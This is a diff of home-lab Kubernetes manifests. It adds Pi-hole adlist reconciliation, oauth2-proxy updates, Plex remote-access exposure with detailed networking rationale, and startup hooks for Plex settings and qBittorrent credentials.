+              - "# Assert the declared adlists in gravity.db. Idempotent: steady state writes nothing and\n# does NOT run a gravity rebuild.\nset -u\nGRAVITY=/etc/pihole/gravity.db\n\n# THE DECLARED SET \u2014 one URL per line, the source of truth for what PiHole blocks.\n# To add a list: add a line here, commit, let Flux reconcile. Nothing else to do.\nDECLARED='https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts'\n\n# On a fresh PVC, FTL creates gravity.db a moment after the container starts. Wait, bounded,\n# and NEVER block or fail the start: a missing DB here must not crashloop DNS for the LAN.\ni=0\nwhile [ ! -s \"$GRAVITY\" ] && [ \"$i\" -lt 90 ]; do sleep 2; i=$(expr $i + 1); done\nif [ ! -s \"$GRAVITY\" ]; then\n  echo \"pihole-adlists: gravity.db absent after 180s - leaving adlists untouched\" >&2\n  exit 0\nfi\n\nsql() { pihole-FTL sqlite3 \"$GRAVITY\" \"$1\"; }\nCHANGED=0\n\n# 1) Every declared URL must be present AND enabled.\necho \"$DECLARED\" | while IFS= read -r url; do\n  [ -n \"$url\" ] || continue\n  printf '%s\\n' \"$url\"\ndone > /tmp/declared.txt\nwhile IFS= read -r url; do\n  [ -n \"$url\" ] || continue\n  # Single quotes inside a URL would break this SQL; adlist URLs do not contain them.\n  have=$(sql \"select count(*) from adlist where address='$url';\")\n  if [ \"$have\" = \"0\" ]; then\n    echo \"pihole-adlists: adding $url\"\n    sql \"insert into adlist (address,enabled,comment) values ('$url',1,'declared in catalog/pihole.yaml');\"\n    CHANGED=1\n  else\n    en=$(sql \"select enabled from adlist where address='$url';\")\n    if [ \"$en\" != \"1\" ]; then\n      echo \"pihole-adlists: re-enabling $url\"\n      sql \"update adlist set enabled=1 where address='$url';\"\n      CHANGED=1\n    fi\n  fi\ndone < /tmp/declared.txt\n\n# 2) Anything enabled in the DB but NOT declared gets disabled (never deleted - see above).\nsql \"select address from adlist where enabled=1;\" | while IFS= read -r addr; do\n  [ -n \"$addr\" ] || continue\n  if ! grep -qxF \"$addr\" /tmp/declared.txt; then\n    echo \"pihole-adlists: disabling undeclared $addr\"\n    sql \"update adlist set enabled=0 where address='$addr';\"\n    echo changed >> /tmp/adlist-changed\n  fi\ndone\n[ -s /tmp/adlist-changed ] && CHANGED=1\nrm -f /tmp/adlist-changed /tmp/declared.txt\n\n# 3) Rebuild gravity ONLY if the declared set actually moved.\nif [ \"$CHANGED\" = \"1\" ]; then\n  echo \"pihole-adlists: declared set changed - running gravity update\"\n  pihole -g || echo \"pihole-adlists: gravity update failed; existing gravity.db retained\" >&2\nelse\n  echo \"pihole-adlists: already matches the declared set - nothing to do\"\nfi\nexit 0\n"
       - name: oauth2-proxy
-        image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
+        image: quay.io/oauth2-proxy/oauth2-proxy:v7.15.6
         imagePullPolicy: IfNotPresent
         args:
         - --http-address=0.0.0.0:4180
@@ -108,11 +104,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://pihole.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_pihole
+        - --cookie-domain=pihole.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -133,6 +132,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -157,10 +159,39 @@ spec:
             port: http
           initialDelaySeconds: 5
           periodSeconds: 15
-      volumes:
-      - name: config
-        persistentVolumeClaim:
-          claimName: pihole-config
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+          - labelSelector:
+              matchLabels:
+                app.kubernetes.io/name: pihole
+            topologyKey: kubernetes.io/hostname
+  volumeClaimTemplates:
+  - metadata:
+      name: config
+      labels:
+        app.kubernetes.io/name: pihole
+    spec:
+      accessModes:
+      - ReadWriteOnce
+      storageClassName: longhorn
+      resources:
+        requests:
+          storage: 2Gi
+---
+# PodDisruptionBudget — keep one replica through a drain (availability.replicas)
+apiVersion: policy/v1
+kind: PodDisruptionBudget
+metadata:
+  name: pihole
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+spec:
+  minAvailable: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: pihole
 ---
 # Service
 apiVersion: v1
@@ -201,6 +232,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): pihole-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: pihole-allow-monitoring-scrape
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: pihole
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): pihole-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -263,11 +315,11 @@ spec:
   - name: pihole.slis
     rules:
     - alert: pihole-down
-      expr: kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"} == 0 or absent(kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"})
+      expr: kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"} == 0 or absent(kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"})
       for: 5m
       labels:
         severity: critical
         service: pihole
       annotations:
         summary: pihole is down
-        description: 'pihole: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'
+        description: 'pihole: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready).'

apps/wave-0/plex-remote.yaml

@@ -0,0 +1,126 @@
+---
+# =================================================================================================
+# PLEX REMOTE ACCESS — raw tcp/32400 north-south exposure, and the policy that admits it.
+# =================================================================================================
+# HAND-WRITTEN, NOT RENDERED. A non-catalog app-tier unit anchored to the `plex` ServiceDefinition
+# and placed into wave 0 by `catalog/render.py --emit-waves` via its EXTRA_UNITS table — the same
+# mechanism gitea-actions and pihole-dns use. It is hand-written for the SAME reason those are:
+# schemas/servicedefinition.schema.json is `additionalProperties: false` and has NO field for a
+# type=LoadBalancer Service, for a pinned lbipam VIP, or for raw-TCP north-south exposure at all.
+# `ingressRoutes` renders HTTPRoutes on the shared Gateway, which is an L7 HTTPS terminator.
+#
+# WHY THE L7 GATEWAY IS NOT ENOUGH HERE — and it is NOT because the Gateway fails to serve Plex.
+# Measured 2026-10-03 through the Gateway VIP: `GET https://plex.home.keithjackson.dev/identity`
+# returned HTTP 200 with `claimed="1"` and the real machineIdentifier, and the protected endpoints
+# (/library/sections, /status/sessions, /:/prefs) all returned 401. The L7 path WORKS.
+#
+# The problem is DISCOVERY, not proxying. Plex apps (phone, TV, Roku) do not resolve
+# `plex.${BASE_DOMAIN}`; they ask plex.tv for the server's connection list. A server gets onto that
+# list one of two ways: it advertises a custom URL (`customConnections`, the ADVERTISE_IP env), or it
+# publishes a reachable public IP:port for its own tcp/32400. Measured in the live Preferences.xml on
+# 2026-10-03: `customConnections` ABSENT, `ManualPortMappingMode` ABSENT, while
+# `PublishServerOnPlexOnlineKey="1"` — the server was trying to publish and had nothing reachable to
+# publish, so remote clients saw NO connection at all. The operator chose the NATIVE path (this
+# file) over advertising the Gateway URL: Plex then terminates its own TLS with its
+# `*.plex.direct` certificate and video streams bypass the Envoy L7 hop entirely.
+#
+# VIP: ${PLEX_L4_VIP} (cluster-vars, R-ENV-02 — dev 192.168.1.57, prod 192.168.2.24), PINNED via
+# lbipam.cilium.io/ips out of the CiliumLoadBalancerIPPool `default-pool`
+# (${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP}) and ARP-announced on the flat LAN by the existing
+# CiliumL2AnnouncementPolicy `default-l2` (platform-config/cilium/*). No new Cilium config is needed;
+# this Service just consumes the pool. PINNING IS NOT OPTIONAL: the address is typed into a WAN
+# port-forward on the SOHO router, which is hand-maintained and off-repo, so it can never move.
+# 192.168.2.24 verified FREE live 2026-10-03 — `default-pool` reported IPsTotal 11 / IPsUsed 4 /
+# IPsAvailable 7, and the only four allocations were .20 (cilium-gateway-shared), .21 (unifi-l4-*),
+# .22 (crafty-l4-*) and .23 (pihole-dns-*).
+#
+# ONE SERVICE, TCP ONLY. Unlike unifi/crafty/pihole-dns this needs no second Service and no
+# lbipam.cilium.io/sharing-key: Plex's remote access is tcp/32400 and nothing else. (Plex's
+# DLNA/GDM discovery uses UDP, but that is LAN-only multicast and is not part of remote access.)
+#
+# NO `loadBalancerSourceRanges`, DELIBERATELY — and this is the one place this file diverges from
+# its closest sibling. apps/wave-0/pihole-dns.yaml pins its source range to ${LAN_CIDR} because a
+# resolver must never answer the internet. This Service is the OPPOSITE case: admitting remote
+# clients from arbitrary internet addresses is its entire purpose, so there is no range to narrow
+# to. Plex authenticates every caller itself (measured above: 401 on every protected endpoint
+# without a token), which is what makes an unfiltered port defensible here.
+#
+# NO external-dns ANNOTATION, DELIBERATELY. unifi and crafty both carry
+# `external-dns.alpha.kubernetes.io/hostname` so external-dns publishes their VIP as a public
+# Cloudflare record. This Service must not, for pihole-dns's reason: ${PLEX_L4_VIP} is an RFC1918
+# address that is useless in public DNS. Remote clients get this server's address from plex.tv, not
+# from the zone. The existing public `plex.${BASE_DOMAIN}` record is published from the rendered
+# HTTPRoute via the gateway source and is NOT affected by this file — the web UI keeps working
+# through the Gateway exactly as before.
+#
+# -------------------------------------------------------------------------------------------------
+# externalTrafficPolicy: Cluster — inherited from crafty's 8-DAY LAN OUTAGE, not re-derived.
+# -------------------------------------------------------------------------------------------------
+# `Local` is the tempting choice because it preserves the client source IP, which this service
+# actually has a use for (see the allowedNetworks note below). It is still WRONG here, for the
+# reason platform/crafty/service-l4.yaml documents at length: Cilium's L2 announcer elects ONE lease
+# holder per Service and does NOT follow the backend pod, so with `Local` the VIP can be announced
+# by a node that has no Plex pod, which black-holes the port while every object still reports
+# healthy. Plex is a single-replica Deployment with `strategy: Recreate` pinned to wherever the
+# scheduler put it, so the mismatch is the normal case, not a rare one. Take the SNAT.
+#
+# KNOWN CONSEQUENCE OF THAT CHOICE, stated rather than discovered later: `Cluster` SNATs the client
+# to the ingress NODE's address (192.168.2.1x), which falls inside the `192.168.0.0/16` entry of
+# catalog/plex.yaml's ALLOWED_NETWORKS. Plex will therefore classify every REMOTE client as LAN.
+# Measured 2026-10-03 on the Gateway path, which SNATs the same way: Plex logged the request as
+# `[10.0.2.214:36040 (Allowed Network (WAN))]`. This is a METERING effect, not a security one —
+# authorization is unchanged (401s above), but Plex's remote-quality/bandwidth limits will not bind
+# on these streams because it believes they are local. Narrowing ALLOWED_NETWORKS cannot fix it
+# without also de-classifying genuine LAN clients, so it is accepted.
+apiVersion: v1
+kind: Service
+metadata:
+  name: plex-l4-tcp
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+  annotations:
+    lbipam.cilium.io/ips: "${PLEX_L4_VIP}"
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  selector:
+    app.kubernetes.io/name: plex
+  ports:
+    - name: plex-remote
+      port: 32400
+      targetPort: 32400
+      protocol: TCP
+---
+# INGRESS allow for the raw port (R-NET-01/02).
+#
+# The rendered plex.yaml already carries `plex-allow-gateway-ingress` (fromEntities: ingress ->
+# 32400) and three reciprocal allows for sonarr/radarr/seerr. CiliumNetworkPolicies are ADDITIVE, so
+# this file adds the off-cluster case without touching those.
+#
+# `world` is Cilium's entity for anything outside the cluster, which is what a remote Plex client is.
+# `host` and `cluster` mirror platform/crafty/networkpolicy.yaml's game-port rule and are what make
+# this work under `externalTrafficPolicy: Cluster`: after SNAT the packet's source is the ingress
+# NODE, which Cilium classifies as `host` (same node) or `remote-node` (a different one) — NOT
+# `world`. Listing `world` alone would compile cleanly and then drop every remote stream, so all
+# four entities are named.
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-remote-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+    - fromEntities:
+        - world
+        - cluster
+        - host
+        - remote-node
+      toPorts:
+        - ports:
+            - { port: "32400", protocol: TCP }

apps/wave-0/plex.yaml

@@ -77,7 +77,7 @@ spec:
   storageClassName: longhorn
   resources:
     requests:
-      storage: 8Gi
+      storage: 16Gi
 ---
 # PVC plex-media (R-STATE)
 apiVersion: v1
@@ -120,7 +120,7 @@ spec:
     spec:
       containers:
       - name: plex
-        image: plexinc/pms-docker:latest
+        image: plexinc/pms-docker:1.43.6.11085-d1e52e169
         ports:
         - containerPort: 32400
         env:
@@ -137,12 +137,37 @@ spec:
             secretKeyRef:
               name: plex-claim
               key: PLEX_CLAIM
+        - name: ADVERTISE_IP
+          value: https://192-168-2-24.130072f20c334d6c8f63d0dfef87309b.plex.direct:32400
+        - name: PLEX_TLS_CRT
+          valueFrom:
+            secretKeyRef:
+              name: plex-vip-tls
+              key: tls.crt
+              optional: true
+        - name: PLEX_TLS_KEY
+          valueFrom:
+            secretKeyRef:
+              name: plex-vip-tls
+              key: tls.key
+              optional: true
+        resources:
+          limits:
+            gpu.intel.com/i915: 1
         volumeMounts:
         - name: config
           mountPath: /config
         - name: media
           mountPath: /media
           readOnly: true
+        lifecycle:
+          postStart:
+            exec:
+              command:
+              - /bin/bash
+              - -c
+              - "# NOTE \u2014 LOAD-BEARING: SHELL VARIABLES HERE ARE WRITTEN BARE, NEVER BRACE-WRAPPED.\n# This whole script is rewritten by Flux postBuild envsubst BEFORE it ever runs, so a\n# brace-wrapped name is read as a cluster-vars knob: an undeclared one is a HARD\n# Kustomization failure under StrictPostBuildSubstitutions, and a declared one would be\n# replaced with its value. Shell vars are therefore `$PX`, `$TOKEN`, `$P12` \u2014 bare. Only\n# BASE_DOMAIN below is brace-wrapped, because it IS a knob and IS meant to be\n# substituted. Command substitution `$(cmd)` is left alone and needs no escaping. A shell\n# variable written with braces would be blanked or would fail the whole Kustomization \u2014\n# this repo has already lost a gitea OIDC bootstrap to exactly that mistake, and\n# catalog/render.py now refuses to emit it (which is how this very comment got caught).\n# DELIBERATELY NO `set -u`. The TLS env vars are declared `optional: true`, so when the\n# certificate has not issued yet they are genuinely UNSET, not empty \u2014 and under `set -u`\n# the first `[ -n \"$PLEX_TLS_CRT\" ]` would abort the script, which for a postStart hook\n# means kubelet KILLS THE CONTAINER. That is the precise failure the `optional` flag exists\n# to prevent, so turning it back on here would defeat the whole design. (The alternative,\n# a brace-wrapped `:-` default, would need envsubst escaping \u2014 the trap the note above\n# describes.) Every value below is explicitly guarded instead.\nPX=\"/config/Library/Application Support/Plex Media Server/Preferences.xml\"\nCERTDIR=/config/certs\nP12=$CERTDIR/plex-vip.p12\n# The PKCS#12 passphrase protects nothing and is deliberately not a secret: Plex needs it\n# in cleartext in customCertificateKey, and it and the bundle sit on the same PVC. It is a\n# container-format requirement, not an access control.\nP12PASS=plexvip\nLANNETS='10.0.0.0/8,192.168.0.0/16'\nCERTDOMAIN=plex-vip.${BASE_DOMAIN}\nAPI=http://127.0.0.1:32400\n\n# (1) Build the PKCS#12 bundle from the PEM the Secret supplies. Rebuilt on every start so\n# a cert-manager RENEWAL is picked up with no extra moving part.\nif [ -n \"$PLEX_TLS_CRT\" ] && [ -n \"$PLEX_TLS_KEY\" ]; then\n  mkdir -p $CERTDIR && chmod 700 $CERTDIR\n  printf '%s' \"$PLEX_TLS_CRT\" > $CERTDIR/tls.crt\n  printf '%s' \"$PLEX_TLS_KEY\" > $CERTDIR/tls.key\n  chmod 600 $CERTDIR/tls.key\n  if openssl pkcs12 -export -out $P12.tmp -inkey $CERTDIR/tls.key \\\n       -in $CERTDIR/tls.crt -passout pass:$P12PASS 2>/dev/null; then\n    mv -f $P12.tmp $P12\n    chown 1000:1000 $P12 2>/dev/null || true\n    chmod 600 $P12\n    echo \"[plex-settings] PKCS#12 bundle written\"\n  else\n    rm -f $P12.tmp\n    echo \"[plex-settings] WARN: pkcs12 export failed; keeping any previous bundle\" >&2\n  fi\n  rm -f $CERTDIR/tls.key\nelse\n  echo \"[plex-settings] WARN: TLS env empty; certificate not installed this start\" >&2\nfi\n\n# (2) Wait, bounded (~90s), for the local API. /identity needs no auth.\ni=0\nwhile [ \"$i\" -lt 45 ]; do\n  if [ \"$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 $API/identity 2>/dev/null)\" = \"200\" ]; then\n    break\n  fi\n  i=$(expr $i + 1); sleep 2\ndone\n\n# (3) The prefs API needs the server token. It already lives in Preferences.xml on this\n# PVC; it is never echoed here, and Plex redacts tokens in its own request log. An\n# UNCLAIMED server has none \u2014 a normal state on a fresh /config \u2014 so skip, do not fail.\nTOKEN=$(grep -o 'PlexOnlineToken=\"[^\"]*\"' \"$PX\" 2>/dev/null | head -1 | cut -d'\"' -f2)\nif [ -z \"$TOKEN\" ]; then\n  echo \"[plex-settings] not claimed yet \u2014 skipping prefs, will retry next start\" >&2\n  exit 0\nfi\n\n# Percent-encode what our values actually contain. Plex takes prefs as QUERY parameters on\n# a PUT, so a raw '/' or ',' would be read as structure rather than data.\nenc() {\n  printf '%s' \"$1\" | sed -e 's|%|%25|g' -e 's|/|%2F|g' -e 's|,|%2C|g' \\\n                         -e 's|:|%3A|g' -e 's| |%20|g'\n}\nsetpref() {\n  code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 10 -X PUT\
+                \ \\\n    -H \"X-Plex-Token: $TOKEN\" \"$API/:/prefs?$1=$(enc \"$2\")\" 2>/dev/null)\n  if [ \"$code\" = \"200\" ]; then\n    echo \"[plex-settings] set $1\"\n  else\n    echo \"[plex-settings] WARN: $1 -> HTTP $code\" >&2\n  fi\n}\n\n# (4) THE LAN DEFINITION \u2014 the reason this hook was written. Without it Plex has NO notion\n# of a local network and tags EVERY client remote. Measured 2026-10-04: 468 requests\n# logged \"Allowed Network (WAN)\" and ZERO \"(LAN)\", including Seerr from inside the\n# cluster, which is why the server showed as Remote to LAN clients. Note allowedNetworks\n# (the ALLOWED_NETWORKS env) only waives AUTH \u2014 it does NOT make a client local. Two\n# different settings; only one of them has an env hook.\nsetpref LanNetworksBandwidth \"$LANNETS\"\n\n# (5) THE CERTIFICATE, which is what makes the `https` in ADVERTISE_IP servable. Set only\n# if the bundle exists \u2014 pointing Plex at a missing file would break its TLS listener.\nif [ -s \"$P12\" ]; then\n  setpref customCertificatePath \"$P12\"\n  setpref customCertificateKey \"$P12PASS\"\n  setpref customCertificateDomain \"$CERTDOMAIN\"\nelse\n  echo \"[plex-settings] WARN: no bundle; leaving certificate prefs untouched\" >&2\nfi\nexit 0\n"
       volumes:
       - name: config
         persistentVolumeClaim:
@@ -167,6 +192,28 @@ spec:
     port: 32400
     targetPort: 32400
 ---
+# CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-radarr-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-radarr-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: radarr
+        k8s:io.kubernetes.pod.namespace: radarr
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-seerr-32400
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -189,6 +236,28 @@ spec:
       - port: '32400'
         protocol: TCP
 ---
+# CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-sonarr-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-sonarr-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: sonarr
+        k8s:io.kubernetes.pod.namespace: sonarr
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy gateway-ingress allow (R-NET-01/02): plex-allow-gateway-ingress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -233,6 +302,8 @@ metadata:
   namespace: plex
   labels:
     app.kubernetes.io/name: plex
+  annotations:
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared

apps/wave-0/qbittorrent.yaml

@@ -122,7 +122,7 @@ spec:
     spec:
       containers:
       - name: qbittorrent
-        image: lscr.io/linuxserver/qbittorrent:5.1.2
+        image: lscr.io/linuxserver/qbittorrent:5.3.0
         ports:
         - containerPort: 8080
         env:
@@ -156,7 +156,7 @@ spec:
                 , \"[Preferences]\"\n\ndef matches(raw):\n    \"\"\"True iff the stored digest is one OUR password produces (salt is read from it).\"\"\"\n    v = raw.strip().strip('\"')\n    if v.startswith(\"@ByteArray(\") and v.endswith(\")\"):\n        v = v[len(\"@ByteArray(\"):-1]\n    try:\n        salt_b64, digest_b64 = v.split(\":\", 1)\n        salt = base64.b64decode(salt_b64, validate=True)\n        digest = base64.b64decode(digest_b64, validate=True)\n    except Exception:\n        return False\n    if not salt or not digest:\n        return False\n    return hmac.compare_digest(\n        hashlib.pbkdf2_hmac(\"sha512\", pw.encode(), salt, ITERATIONS, len(digest)), digest)\n\ntry:\n    lines = open(conf, encoding=\"utf-8\", errors=\"replace\").read().splitlines()\nexcept FileNotFoundError:\n    lines = []\n\ndef value_of(key):\n    for i, line in enumerate(lines):\n        if line.startswith(key + \"=\"):\n            return i, line.split(\"=\", 1)[1]\n    return -1, None\n\nui, uval = value_of(UKEY)\npi, pval = value_of(PKEY)\nif uval == user and pval is not None and matches(pval):\n    raise SystemExit(0)          # converged - leave the file (and its salt) alone\n\nsalt = os.urandom(SALT_LEN)\ndigest = hashlib.pbkdf2_hmac(\"sha512\", pw.encode(), salt, ITERATIONS, DIGEST_LEN)\nstored = base64.b64encode(salt).decode() + \":\" + base64.b64encode(digest).decode()\ndesired = [UKEY + \"=\" + user, PKEY + '=\"@ByteArray(' + stored + ')\"']\n\nout = [line for i, line in enumerate(lines) if i not in (ui, pi)]\nif SECTION in out:\n    at = out.index(SECTION) + 1\nelse:\n    if out and out[-1].strip():\n        out.append(\"\")\n    out.append(SECTION)\n    at = len(out)\nout[at:at] = desired\n\ntry:\n    os.makedirs(os.path.dirname(conf) or \".\", exist_ok=True)\n    tmp = conf + \".webui-cred.new\"\n    with open(tmp, \"w\", encoding=\"utf-8\") as fh:\n        fh.write(\"\\n\".join(out) + \"\\n\")\n        fh.flush()\n        os.fsync(fh.fileno())\n    # This hook runs as ROOT; the service runs as PUID:PGID. A root-owned 0600 conf would\n    # cost the app the ability to save its own settings, so carry the ownership over.\n    try:\n        st = os.stat(conf)\n        os.chown(tmp, st.st_uid, st.st_gid)\n        os.chmod(tmp, stat.S_IMODE(st.st_mode))\n    except FileNotFoundError:\n        os.chown(tmp, int(os.environ.get(\"PUID\", \"1000\")),\n                 int(os.environ.get(\"PGID\", \"1000\")))\n        os.chmod(tmp, 0o664)\n    os.replace(tmp, conf)        # atomic: the app never reads a half-written conf\nexcept OSError as exc:\n    sys.stderr.write(\"[qbt-webui-cred] cannot write %s: %s\\n\" % (conf, exc))\n    raise SystemExit(1)\nraise SystemExit(10)\nPY\n  rc=$?\n\n  if [ \"$rc\" = 0 ]; then\n    log \"conf already holds the durable credential for '$QBT_WEBUI_USERNAME' (no write)\"\n  elif [ \"$rc\" = 10 ]; then\n    log \"asserted WebUI Username + Password_PBKDF2 into $CONF\"\n    # postStart runs CONCURRENTLY with the s6 init chain, so qbittorrent-nox may ALREADY\n    # have read the old, credential-less conf and be serving a random temporary password.\n    # Restart the SUPERVISED SERVICE (not the pod) so it re-reads what was just written.\n    # Nothing to do when the service has not started yet - it will read the new file.\n    # Its own counter, NOT the shared `waited` API budget: sharing one counter is how the\n    # 2026-09-13 failure spent the entire verification budget before the first login and\n    # then fired attempts 2 and 3 with no wait left at all.\n    sv=0\n    while [ \"$sv\" -lt 60 ] && [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" != \"true\" ]; do\n      sv=$((sv + 1)); sleep 1\n    done\n    if [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" = \"true\" ]; then\n      log \"qbittorrent-nox was already running - restarting it to load the credential\"\n      s6-svc -r \"$SVC\" || log \"s6-svc -r failed (continuing to verify anyway)\"\n      sleep 3\n    fi\n  else\n    log \"FAILED to write the credential into $CONF (helper exit $rc). The WebUI will keep\" >&2\n    log \"minting a random password\
                 \ every start and BOTH arrs will break. Fix and restart.\" >&2\n    exit 0\n  fi\n\n  # (3) GROUND TRUTH: the WebUI itself must accept it. Wait for the API to answer at ALL\n  #     (shared ~120s budget across attempts), then spend exactly ONE login per attempt -\n  #     at most 3 rejected logins, which stays under qBittorrent's default ban threshold.\n  #\n  # \"THE API NEVER ANSWERED\" IS A DIFFERENT FAULT FROM \"THE PASSWORD WAS REJECTED\", and\n  # conflating them is what made this hook lie once already (see the PORT comment). An\n  # unreachable WebUI is reported as unreachable, and the hook stops rather than spending\n  # its remaining login attempts to produce two more identical wrong diagnoses.\n  api_ok=0\n  while [ \"$waited\" -lt 120 ]; do\n    code=$(curl -s -o /dev/null -m 3 -w '%{http_code}' \"http://127.0.0.1:$PORT/\" 2>/dev/null)\n    if [ -n \"$code\" ] && [ \"$code\" != \"000\" ]; then api_ok=1; break; fi\n    waited=$((waited + 1)); sleep 1\n  done\n  if [ \"$api_ok\" != 1 ]; then\n    log \"the WebUI never answered on 127.0.0.1:$PORT within the wait budget, so the\" >&2\n    log \"credential in $CONF is UNVERIFIED. This is NOT a rejected password - it was\" >&2\n    log \"never submitted. Do not rotate the credential on the strength of this line.\" >&2\n    exit 0\n  fi\n  body=$(curl -sS -m 10 \\\n           --data-urlencode \"username=$QBT_WEBUI_USERNAME\" \\\n           --data-urlencode \"password=$QBT_WEBUI_PASSWORD\" \\\n           \"http://127.0.0.1:$PORT/api/v2/auth/login\" 2>/dev/null)\n  if [ \"$body\" = \"Ok.\" ]; then\n    log \"VERIFIED: the WebUI accepts the durable credential for '$QBT_WEBUI_USERNAME'\"\n    exit 0\n  fi\n  log \"WebUI rejected the durable credential (login said '$body')\" >&2\n  # A rejection when the conf was ALREADY converged (rc=0, nothing written) can only mean\n  # the running qbittorrent-nox is serving something it read from an EARLIER conf, so\n  # rewriting the same bytes on the next attempt would change nothing. The remedy is to\n  # make the process RE-READ the file, so restart the supervised service and let the next\n  # attempt re-verify. Without this the retry loop could never change its own outcome.\n  if [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" = \"true\" ]; then\n    log \"restarting qbittorrent-nox so it re-reads $CONF, then re-verifying\" >&2\n    s6-svc -r \"$SVC\" || log \"s6-svc -r failed (continuing to verify anyway)\" >&2\n    sleep 3\n  fi\ndone\n\nlog \"GAVE UP after $attempt attempts: the WebUI does not accept the credential from git.\" >&2\n# A postStart hook MUST exit 0 - a non-zero exit makes the kubelet KILL the container\n# (FailedPostStartHook -> CrashLoopBackOff), turning a credential fault into an outage.\n# Both failure paths above therefore log LOUDLY and exit 0; the `up` SLI still watches the\n# app, and the arrs' own download-client health check surfaces a broken credential.\nexit 0\n"
       - name: oauth2-proxy
-        image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
+        image: quay.io/oauth2-proxy/oauth2-proxy:v7.15.6
         imagePullPolicy: IfNotPresent
         args:
         - --http-address=0.0.0.0:4180
@@ -171,11 +171,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://qbittorrent.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_qbittorrent
+        - --cookie-domain=qbittorrent.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -196,6 +199,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -313,6 +319,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): qbittorrent-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: qbittorrent-allow-monitoring-scrape
+  namespace: qbittorrent
+  labels:
+    app.kubernetes.io/name: qbittorrent
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: qbittorrent
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
